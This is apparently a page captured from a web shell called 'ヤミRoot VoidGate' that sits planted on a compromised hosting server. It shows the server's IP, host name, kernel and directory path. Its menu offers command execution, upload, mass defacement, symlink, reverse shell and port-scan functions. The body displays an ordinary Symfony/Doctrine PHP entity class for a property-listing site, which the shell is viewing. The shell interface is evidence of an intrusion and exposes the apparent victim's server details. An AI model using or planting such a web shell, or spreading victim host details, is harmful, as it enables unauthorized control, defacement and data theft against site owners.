ヤミRoot VoidGate
User / IP
:
216.73.216.84
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
src
/
Entity
/
Viewing: Announce.php
<?php namespace App\Entity; use App\Repository\AnnounceRepository; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\Common\Collections\Collection; use Doctrine\ORM\Mapping as ORM; use ApiPlatform\Core\Annotation\ApiResource; /** * @ApiResource() * @ORM\Entity(repositoryClass=AnnounceRepository::class) */ class Announce { /** * @ORM\Id() * @ORM\GeneratedValue() * @ORM\Column(type="integer") */ private $id; /** * @ORM\Column(type="string", length=1000) */ private $titleFr; /** * @ORM\Column(type="string", length=1000) */ private $titleEn; /** * @ORM\Column(type="string", length=255) */ private $locationType; /** * @ORM\Column(type="integer") */ private $amount; /** * @ORM\ManyToOne(targetEntity=BuildingType::class) * @ORM\JoinColumn(nullable=false) */ private $type; /** * @ORM\ManyToOne(targetEntity=Address::class) * @ORM\JoinColumn(nullable=false) */ private $address; /** * @ORM\Column(type="integer") */ private $numberOfPiece; /** * @ORM\Column(type="integer") */ private $area; /** * @ORM\Column(type="string", length=3000) */ private $description; /** * @ORM\ManyToOne(targetEntity=MediaObject::class) * @ORM\JoinColumn(nullable=false) */ private $picture; /** * @ORM\ManyToOne(targetEntity=MediaObject::class) */ private $cover; /** * @ORM\Column(type="datetime",nullable=true) */ private $createdAt; /** * @ORM\Column(type="datetime",nullable=true) */ private $expiredAt; /** * @ORM\ManyToOne(targetEntity=User::class) * @ORM\JoinColumn(nullable=false) */ private $createdBy; /** * @ORM\Column(type="integer", nullable=true) */ private $vues; /** * @ORM\OneToMany(targetEntity=AnnounceChannel::class, mappedBy="announce") */ private $announceChannels; /** * @ORM\Column(type="text", nullable=true) */ private $descriptionEn; public function getId(): ?int { return $this->id; } public function __construct() { $this->createdAt = new \DateTime( ); $this->announceChannels = new ArrayCollection(); $this->vues=0; } public function getTitleFr(): ?string { return $this->titleFr; } public function setTitleFr(string $titleFr): self { $this->titleFr = $titleFr; return $this; } public function getTitleEn(): ?string { return $this->titleEn; } public function setTitleEn(string $titleEn): self { $this->titleEn = $titleEn; return $this; } public function getLocationType(): ?string { return $this->locationType; } public function setLocationType(string $locationType): self { $this->locationType = $locationType; return $this; } public function getAmount(): ?int { return $this->amount; } public function setAmount(int $amount): self { $this->amount = $amount; return $this; } public function getType(): ?BuildingType { return $this->type; } public function setType(?BuildingType $type): self { $this->type = $type; return $this; } public function getAddress(): ?Address { return $this->address; } public function setAddress(?Address $address): self { $this->address = $address; return $this; } public function getNumberOfPiece(): ?int { return $this->numberOfPiece; } public function setNumberOfPiece(int $numberOfPiece): self { $this->numberOfPiece = $numberOfPiece; return $this; } public function getArea(): ?int { return $this->area; } public function setArea(int $area): self { $this->area = $area; return $this; } public function getDescription(): ?string { return $this->description; } public function setDescription(string $description): self { $this->description = $description; return $this; } public function getPicture(): ?MediaObject { return $this->picture; } public function setPicture(?MediaObject $picture): self { $this->picture = $picture; return $this; } public function getCover(): ?MediaObject { return $this->cover; } public function setCover(?MediaObject $cover): self { $this->cover = $cover; return $this; } public function getCreatedAt(): ?\DateTimeInterface { return $this->createdAt; } public function setCreatedAt(\DateTimeInterface $createdAt): self { $this->createdAt = $createdAt; return $this; } public function getExpiredAt(): ?\DateTimeInterface { return $this->expiredAt; } public function setExpiredAt(\DateTimeInterface $expiredAt): self { $this->expiredAt = $expiredAt; return $this; } public function getCreatedBy(): ?User { return $this->createdBy; } public function setCreatedBy(?User $createdBy): self { $this->createdBy = $createdBy; return $this; } public function __toString() { // TODO: Implement __toString() method. return "(".$this->id.")". $this->titleEn; } public function getVues(): ?int { return $this->vues; } public function setVues(?int $vues): self { $this->vues = $vues; return $this; } /** * @return Collection<int, AnnounceChannel> */ public function getAnnounceChannels(): Collection { return $this->announceChannels; } public function addAnnounceChannel(AnnounceChannel $announceChannel): self { if (!$this->announceChannels->contains($announceChannel)) { $this->announceChannels[] = $announceChannel; $announceChannel->setAnnounce($this); } return $this; } public function removeAnnounceChannel(AnnounceChannel $announceChannel): self { if ($this->announceChannels->removeElement($announceChannel)) { // set the owning side to null (unless already changed) if ($announceChannel->getAnnounce() === $this) { $announceChannel->setAnnounce(null); } } return $this; } public function getDescriptionEn(): ?string { return $this->descriptionEn; } public function setDescriptionEn(?string $descriptionEn): self { $this->descriptionEn = $descriptionEn; return $this; } }
Coded With 💗 by
0x6ick